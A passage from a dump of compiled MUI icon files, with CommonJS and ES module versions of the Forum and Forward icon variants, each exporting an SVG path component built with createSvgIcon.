    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-1v8c0 .55-.45 1-1 1H6v1c0 1.1.9 2 2 2h10l4 4V8c0-1.1-.9-2-2-2m-3 5V4c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v13l4-4h9c1.1 0 2-.9 2-2\"\n}), 'ForumRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForumRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-1v8c0 .55-.45 1-1 1H6v1c0 1.1.9 2 2 2h10l4 4V8c0-1.1-.9-2-2-2m-3 5V4c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v13l4-4h9c1.1 0 2-.9 2-2\"\n}), 'ForumRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForumSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6h-3v9H6v3h12l4 4zm-5 7V2H2v15l4-4z\"\n}), 'ForumSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForumSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6h-3v9H6v3h12l4 4zm-5 7V2H2v15l4-4z\"\n}), 'ForumSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForumTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 11V4H4v8.17L5.17 11H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 13c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v14l4-4zm-12-.83V4h11v7H5.17zM22 7c0-.55-.45-1-1-1h-2v9H6v2c0 .55.45 1 1 1h11l4 4z\"\n}, \"1\")], 'ForumTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForumTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 11V4H4v8.17L5.17 11H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 13c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v14l4-4zm-12-.83V4h11v7H5.17zM22 7c0-.55-.45-1-1-1h-2v9H6v2c0 .55.45 1 1 1h11l4 4z\"\n}, \"1\")], 'ForumTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8V4l8 8-8 8v-4H4V8z\"\n}), 'Forward');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8V4l8 8-8 8v-4H4V8z\"\n}), 'Forward');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward10.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c0 3.31-2.69 6-6 6s-6-2.69-6-6 2.69-6 6-6v4l5-5-5-5v4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.86 15.94v-4.27h-.09L9 12.3v.69l1.01-.31v3.26zm1.39-2.5v.74c0 1.9 1.31 1.82 1.44 1.82.14 0 1.44.09 1.44-1.82v-.74c0-1.9-1.31-1.82-1.44-1.82-.14 0-1.44-.09-1.44 1.82m2.04-.12v.97c0 .77-.21 1.03-.59 1.03s-.6-.26-.6-1.03v-.97c0-.75.22-1.01.59-1.01.38-.01.6.26.6 1.01\"\n}, \"1\")], 'Forward10');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward10.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c0 3.31-2.69 6-6 6s-6-2.69-6-6 2.69-6 6-6v4l5-5-5-5v4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.86 15.94v-4.27h-.09L9 12.3v.69l1.01-.31v3.26zm1.39-2.5v.74c0 1.9 1.31 1.82 1.44 1.82.14 0 1.44.09 1.44-1.82v-.74c0-1.9-1.31-1.82-1.44-1.82-.14 0-1.44-.09-1.44 1.82m2.04-.12v.97c0 .77-.21 1.03-.59 1.03s-.6-.26-.6-1.03v-.97c0-.75.22-1.01.59-1.01.38-.01.6.26.6 1.01\"\n}, \"1\")], 'Forward10');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward10Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c0 3.31-2.69 6-6 6s-6-2.69-6-6 2.69-6 6-6v4l5-5-5-5v4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.9 16v-4.27h-.09l-1.77.63v.69l1.01-.31V16zm3.42-4.22c-.18-.07-.37-.1-.59-.1s-.41.03-.59.1-.33.18-.45.33-.23.34-.29.57-.1.5-.1.82v.74c0 .32.04.6.11.82s.17.42.3.57.28.26.46.33.37.1.59.1.41-.03.59-.1.33-.18.45-.33.22-.34.29-.57.1-.5.1-.82v-.74c0-.32-.04-.6-.11-.82s-.17-.42-.3-.57-.29-.26-.46-.33m.01 2.57c0 .19-.01.35-.04.48s-.06.24-.11.32-.11.14-.19.17-.16.05-.25.05-.18-.02-.25-.05-.14-.09-.19-.17-.09-.19-.12-.32-.04-.29-.04-.48v-.97c0-.19.01-.35.04-.48s.06-.23.12-.31.11-.14.19-.17.16-.05.25-.05.18.02.25.05.14.09.19.17.09.18.12.31.04.29.04.48v.97z\"\n}, \"1\")], 'Forward10Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward10Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c0 3.31-2.69 6-6 6s-6-2.69-6-6 2.69-6 6-6v4l5-5-5-5v4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.9 16v-4.27h-.09l-1.77.63v.69l1.01-.31V16zm3.42-4.22c-.18-.07-.37-.1-.59-.1s-.41.03-.59.1-.33.18-.45.33-.23.34-.29.57-.1.5-.1.82v.74c0 .32.04.6.11.82s.17.42.3.57.28.26.46.33.37.1.59.1.41-.03.59-.1.33-.18.45-.33.22-.34.29-.57.1-.5.1-.82v-.74c0-.32-.04-.6-.11-.82s-.17-.42-.3-.57-.29-.26-.46-.33m.01 2.57c0 .19-.01.35-.04.48s-.06.24-.11.32-.11.14-.19.17-.16.05-.25.05-.18-.02-.25-.05-.14-.09-.19-.17-.09-.19-.12-.32-.04-.29-.04-.48v-.97c0-.19.01-.35.04-.48s.06-.23.12-.31.11-.14.19-.17.16-.05.25-.05.18.02.25.05.14.09.19.17.09.18.12.31.04.29.04.48v.97z\"\n}, \"1\")], 'Forward10Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward10Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.92 13c-.5 0-.91.37-.98.86-.48 3.37-3.77 5.84-7.42 4.96-2.25-.54-3.91-2.27-4.39-4.53C5.32 10.42 8.27 7 12 7v2.79c0 .45.54.67.85.35l3.79-3.79c.2-.2.2-.51 0-.71l-3.79-3.79c-.31-.31-.85-.09-.85.36V5c-4.94 0-8.84 4.48-7.84 9.6.6 3.11 2.9 5.5 5.99 6.19 4.83 1.08 9.15-2.2 9.77-6.67.09-.59-.4-1.12-1-1.12m-8.02 3v-4.27h-.09l-1.77.63v.69l1.01-.31V16zm3.42-4.22c-.18-.07-.37-.1-.59-.1s-.41.03-.59.1-.33.18-.45.33-.23.34-.29.57-.1.5-.1.82v.74c0 .32.04.6.11.82s.17.42.3.57.28.26.46.33.37.1.59.1.41-.03.59-.1.33-.18.45-.33.22-.34.29-.57.1-.5.1-.82v-.74c0-.32-.04-.6-.11-.82s-.17-.42-.3-.57-.29-.26-.46-.33m.01 2.57c0 .19-.01.35-.04.48s-.06.24-.11.32-.11.14-.19.17-.16.05-.25.05-.18-.02-.25-.05-.14-.09-.19-.17-.09-.19-.12-.32-.04-.29-.04-.48v-.97c0-.19.01-.35.04-.48s.06-.23.12-.31.11-.14.19-.17.16-.05.25-.05.18.02.25.05.14.09.19.17.09.18.12.31.04.29.04.48v.97z\"\n}), 'Forward10Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward10Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.92 13c-.5 0-.91.37-.98.86-.48 3.37-3.77 5.84-7.42 4.96-2.25-.54-3.91-2.27-4.39-4.53C5.32 10.42 8.27 7 12 7v2.79c0 .45.54.67.85.35l3.79-3.79c.2-.2.2-.51 0-.71l-3.79-3.79c-.31-.31-.85-.09-.85.36V5c-4.94 0-8.84 4.48-7.84 9.6.6 3.11 2.9 5.5 5.99 6.19 4.83 1.08 9.15-2.2 9.77-6.67.09-.59-.4-1.12-1-1.12m-8.02 3v-4.27h-.09l-1.77.63v.69l1.01-.31V16zm3.42-4.22c-.18-.07-.37-.1-.59-.1s-.41.03-.59.1-.33.18-.45.33-.23.34-.29.57-.1.5-.1.82v.74c0 .32.04.6.11.82s.17.42.3.57.28.26.46.33.37.1.59.1.41-.03.59-.1.33-.18.45-.33.22-.34.29-.57.1-.5.1-.82v-.74c0-.32-.04-.6-.11-.82s-.17-.42-.3-.57-.29-.26-.46-.33m.01 2.57c0 .19-.01.35-.04.48s-.06.24-.11.32-.11.14-.19.17-.16.05-.25.05-.18-.02-.25-.05-.14-.09-.19-.17-.09-.19-.12-.32-.04-.29-.04-.48v-.97c0-.19.01-.35.04-.48s.06-.23.12-.31.11-.14.19-.17.16-.05.25-.05.18.02.25.05.14.09.19.17.09.18.12.31.04.29.04.48v.97z\"\n}), 'Forward10Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward10Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c0 3.31-2.69 6-6 6s-6-2.69-6-6 2.69-6 6-6v4l5-5-5-5v4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.9 16v-4.27h-.09l-1.77.63v.69l1.01-.31V16zm3.42-4.22c-.18-.07-.37-.1-.59-.1s-.41.03-.59.1-.33.18-.45.33-.23.34-.29.57-.1.5-.1.82v.74c0 .32.04.6.11.82s.17.42.3.57.28.26.46.33.37.1.59.1.41-.03.59-.1.33-.18.45-.33.22-.34.29-.57.1-.5.1-.82v-.74c0-.32-.04-.6-.11-.82s-.17-.42-.3-.57-.29-.26-.46-.33m.01 2.57c0 .19-.01.35-.04.48s-.06.24-.11.32-.11.14-.19.17-.16.05-.25.05-.18-.02-.25-.05-.14-.09-.19-.17-.09-.19-.12-.32-.04-.29-.04-.48v-.97c0-.19.01-.35.04-.48s.06-.23.12-.31.11-.14.19-.17.16-.05.25-.05.18.02.25.05.14.09.19.17.09.18.12.31.04.29.04.48v.97z\"\n}, \"1\")], 'Forward10Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward10Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c0 3.31-2.69 6-6 6s-6-2.69-6-6 2.69-6 6-6v4l5-5-5-5v4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.9 16v-4.27h-.09l-1.77.63v.69l1.01-.31V16zm3.42-4.22c-.18-.07-.37-.1-.59-.1s-.41.03-.59.1-.33.18-.45.33-.23.34-.29.57-.1.5-.1.82v.74c0 .32.04.6.11.82s.17.42.3.57.28.26.46.33.37.1.59.1.41-.03.59-.1.33-.18.45-.33.22-.34.29-.57.1-.5.1-.82v-.74c0-.32-.04-.6-.11-.82s-.17-.42-.3-.57-.29-.26-.46-.33m.01 2.57c0 .19-.01.35-.04.48s-.06.24-.11.32-.11.14-.19.17-.16.05-.25.05-.18-.02-.25-.05-.14-.09-.19-.17-.09-.19-.12-.32-.04-.29-.04-.48v-.97c0-.19.01-.35.04-.48s.06-.23.12-.31.11-.14.19-.17.16-.05.25-.05.18.02.25.05.14.09.19.17.09.18.12.31.04.29.04.48v.97z\"\n}, \"1\")], 'Forward10Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward10TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c0 3.31-2.69 6-6 6s-6-2.69-6-6 2.69-6 6-6v4l5-5-5-5v4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.9 16v-4.27h-.09l-1.77.63v.69l1.01-.31V16zm3.42-4.22c-.18-.07-.37-.1-.59-.1s-.41.03-.59.1-.33.18-.45.33-.23.34-.29.57-.1.5-.1.82v.74c0 .32.04.6.11.82s.17.42.3.57.28.26.46.33.37.1.59.1.41-.03.59-.1.33-.18.45-.33.22-.34.29-.57.1-.5.1-.82v-.74c0-.32-.04-.6-.11-.82s-.17-.42-.3-.57-.29-.26-.46-.33m.01 2.57c0 .19-.01.35-.04.48s-.06.24-.11.32-.11.14-.19.17-.16.05-.25.05-.18-.02-.25-.05-.14-.09-.19-.17-.09-.19-.12-.32-.04-.29-.04-.48v-.97c0-.19.01-.35.04-.48s.06-.23.12-.31.11-.14.19-.17.16-.05.25-.05.18.02.25.05.14.09.19.17.09.18.12.31.04.29.04.48v.97z\"\n}, \"1\")], 'Forward10TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward10TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c0 3.31-2.69 6-6 6s-6-2.69-6-6 2.69-6 6-6v4l5-5-5-5v4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.9 16v-4.27h-.09l-1.77.63v.69l1.01-.31V16zm3.42-4.22c-.18-.07-.37-.1-.59-.1s-.41.03-.59.1-.33.18-.45.33-.23.34-.29.57-.1.5-.1.82v.74c0 .32.04.6.11.82s.17.42.3.57.28.26.46.33.37.1.59.1.41-.03.59-.1.33-.18.45-.33.22-.34.29-.57.1-.5.1-.82v-.74c0-.32-.04-.6-.11-.82s-.17-.42-.3-.57-.29-.26-.46-.33m.01 2.57c0 .19-.01.35-.04.48s-.06.24-.11.32-.11.14-.19.17-.16.05-.25.05-.18-.02-.25-.05-.14-.09-.19-.17-.09-.19-.12-.32-.04-.29-.04-.48v-.97c0-.19.01-.35.04-.48s.06-.23.12-.31.11-.14.19-.17.16-.05.25-.05.18.02.25.05.14.09.19.17.09.18.12.31.04.29.04.48v.97z\"\n}, \"1\")], 'Forward10TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward30.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c0 3.31-2.69 6-6 6s-6-2.69-6-6 2.69-6 6-6v4l5-5-5-5v4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.06 15.38c-.29 0-.62-.17-.62-.54h-.85c0 .97.9 1.23 1.45 1.23.87 0 1.51-.46 1.51-1.25 0-.66-.45-.9-.71-1 .11-.05.65-.32.65-.92 0-.21-.05-1.22-1.44-1.22-.62 0-1.4.35-1.4 1.16h.85c0-.34.31-.48.57-.48.59 0 .58.5.58.54 0 .52-.41.59-.63.59h-.46v.66h.45c.65 0 .7.42.7.64 0 .32-.21.59-.65.59m3.79-3.7c-.14 0-1.44-.08-1.44 1.82v.74c0 1.9 1.31 1.82 1.44 1.82.14 0 1.44.09 1.44-1.82v-.74c.01-1.91-1.3-1.82-1.44-1.82m.6 2.67c0 .77-.21 1.03-.59 1.03s-.6-.26-.6-1.03v-.97c0-.75.22-1.01.59-1.01.38 0 .6.26.6 1.01z\"\n}, \"1\")], 'Forward30');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward30.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c0 3.31-2.69 6-6 6s-6-2.69-6-6 2.69-6 6-6v4l5-5-5-5v4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.06 15.38c-.29 0-.62-.17-.62-.54h-.85c0 .97.9 1.23 1.45 1.23.87 0 1.51-.46 1.51-1.25 0-.66-.45-.9-.71-1 .11-.05.65-.32.65-.92 0-.21-.05-1.22-1.44-1.22-.62 0-1.4.35-1.4 1.16h.85c0-.34.31-.48.57-.48.59 0 .58.5.58.54 0 .52-.41.59-.63.59h-.46v.66h.45c.65 0 .7.42.7.64 0 .32-.21.59-.65.59m3.79-3.7c-.14 0-1.44-.08-1.44 1.82v.74c0 1.9 1.31 1.82 1.44 1.82.14 0 1.44.09 1.44-1.82v-.74c.01-1.91-1.3-1.82-1.44-1.82m.6 2.67c0 .77-.21 1.03-.59 1.03s-.6-.26-.6-1.03v-.97c0-.75.22-1.01.59-1.01.38 0 .6.26.6 1.01z\"\n}, \"1\")], 'Forward30');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward30Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c0 3.31-2.69 6-6 6s-6-2.69-6-6 2.69-6 6-6v4l5-5-5-5v4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8zm-7.46 2.22c-.06.05-.12.09-.2.12s-.17.04-.27.04c-.09 0-.17-.01-.25-.04s-.14-.06-.2-.11-.1-.1-.13-.17-.05-.14-.05-.22h-.85c0 .21.04.39.12.55s.19.28.33.38.29.18.46.23.35.07.53.07c.21 0 .41-.03.6-.08s.34-.14.48-.24.24-.24.32-.39.12-.33.12-.53c0-.23-.06-.44-.18-.61s-.3-.3-.54-.39c.1-.05.2-.1.28-.17s.15-.14.2-.22.1-.16.13-.25.04-.18.04-.27c0-.2-.04-.37-.11-.53s-.17-.28-.3-.38-.28-.18-.46-.23-.37-.08-.59-.08c-.19 0-.38.03-.54.08s-.32.13-.44.23-.23.22-.3.37-.11.3-.11.48h.85c0-.07.02-.14.05-.2s.07-.11.12-.15.11-.07.18-.1.14-.03.22-.03c.1 0 .18.01.25.04s.13.06.18.11.08.11.11.17.04.14.04.22c0 .18-.05.32-.16.43s-.26.16-.48.16h-.43v.66h.45c.11 0 .2.01.29.04s.16.06.22.11.11.12.14.2.05.18.05.29c0 .09-.01.17-.04.24s-.08.11-.13.17m3.9-3.44c-.18-.07-.37-.1-.59-.1s-.41.03-.59.1-.33.18-.45.33-.23.34-.29.57-.1.5-.1.82v.74c0 .32.04.6.11.82s.17.42.3.57.28.26.46.33.37.1.59.1.41-.03.59-.1.33-.18.45-.33.22-.34.29-.57.1-.5.1-.82v-.74c0-.32-.04-.6-.11-.82s-.17-.42-.3-.57-.28-.26-.46-.33m.01 2.57c0 .19-.01.35-.04.48s-.06.24-.11.32-.11.14-.19.17-.16.05-.25.05-.18-.02-.25-.05-.14-.09-.19-.17-.09-.19-.12-.32-.04-.29-.04-.48v-.97c0-.19.01-.35.04-.48s.06-.23.12-.31.11-.14.19-.17.16-.05.25-.05.18.02.25.05.14.09.19.17.09.18.12.31.04.29.04.48v.97z\"\n}), 'Forward30Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward30Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c0 3.31-2.69 6-6 6s-6-2.69-6-6 2.69-6 6-6v4l5-5-5-5v4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8zm-7.46 2.22c-.06.05-.12.09-.2.12s-.17.04-.27.04c-.09 0-.17-.01-.25-.04s-.14-.06-.2-.11-.1-.1-.13-.17-.05-.14-.05-.22h-.85c0 .21.04.39.12.55s.19.28.33.38.29.18.46.23.35.07.53.07c.21 0 .41-.03.6-.08s.34-.14.48-.24.24-.24.32-.39.12-.33.12-.53c0-.23-.06-.44-.18-.61s-.3-.3-.54-.39c.1-.05.2-.1.28-.17s.15-.14.2-.22.1-.16.13-.25.04-.18.04-.27c0-.2-.04-.37-.11-.53s-.17-.28-.3-.38-.28-.18-.46-.23-.37-.08-.59-.08c-.19 0-.38.03-.54.08s-.32.13-.44.23-.23.22-.3.37-.11.3-.11.48h.85c0-.07.02-.14.05-.2s.07-.11.12-.15.11-.07.18-.1.14-.03.22-.03c.1 0 .18.01.25.04s.13.06.18.11.08.11.11.17.04.14.04.22c0 .18-.05.32-.16.43s-.26.16-.48.16h-.43v.66h.45c.11 0 .2.01.29.04s.16.06.22.11.11.12.14.2.05.18.05.29c0 .09-.01.17-.04.24s-.08.11-.13.17m3.9-3.44c-.18-.07-.37-.1-.59-.1s-.41.03-.59.1-.33.18-.45.33-.23.34-.29.57-.1.5-.1.82v.74c0 .32.04.6.11.82s.17.42.3.57.28.26.46.33.37.1.59.1.41-.03.59-.1.33-.18.45-.33.22-.34.29-.57.1-.5.1-.82v-.74c0-.32-.04-.6-.11-.82s-.17-.42-.3-.57-.28-.26-.46-.33m.01 2.57c0 .19-.01.35-.04.48s-.06.24-.11.32-.11.14-.19.17-.16.05-.25.05-.18-.02-.25-.05-.14-.09-.19-.17-.09-.19-.12-.32-.04-.29-.04-.48v-.97c0-.19.01-.35.04-.48s.06-.23.12-.31.11-.14.19-.17.16-.05.25-.05.18.02.25.05.14.09.19.17.09.18.12.31.04.29.04.48v.97z\"\n}), 'Forward30Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward30Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.92 13c-.5 0-.91.37-.98.86-.48 3.37-3.77 5.84-7.42 4.96-2.25-.54-3.91-2.27-4.39-4.53C5.32 10.42 8.27 7 12 7v2.79c0 .45.54.67.85.35l3.79-3.79c.2-.2.2-.51 0-.71l-3.79-3.79c-.31-.31-.85-.09-.85.36V5c-4.94 0-8.84 4.48-7.84 9.6.6 3.11 2.9 5.5 5.99 6.19 4.83 1.08 9.15-2.2 9.77-6.67.09-.59-.4-1.12-1-1.12m-8.38 2.22c-.06.05-.12.09-.2.12s-.17.04-.27.04c-.09 0-.17-.01-.25-.04s-.14-.06-.2-.11-.1-.1-.13-.17-.05-.14-.05-.22h-.85c0 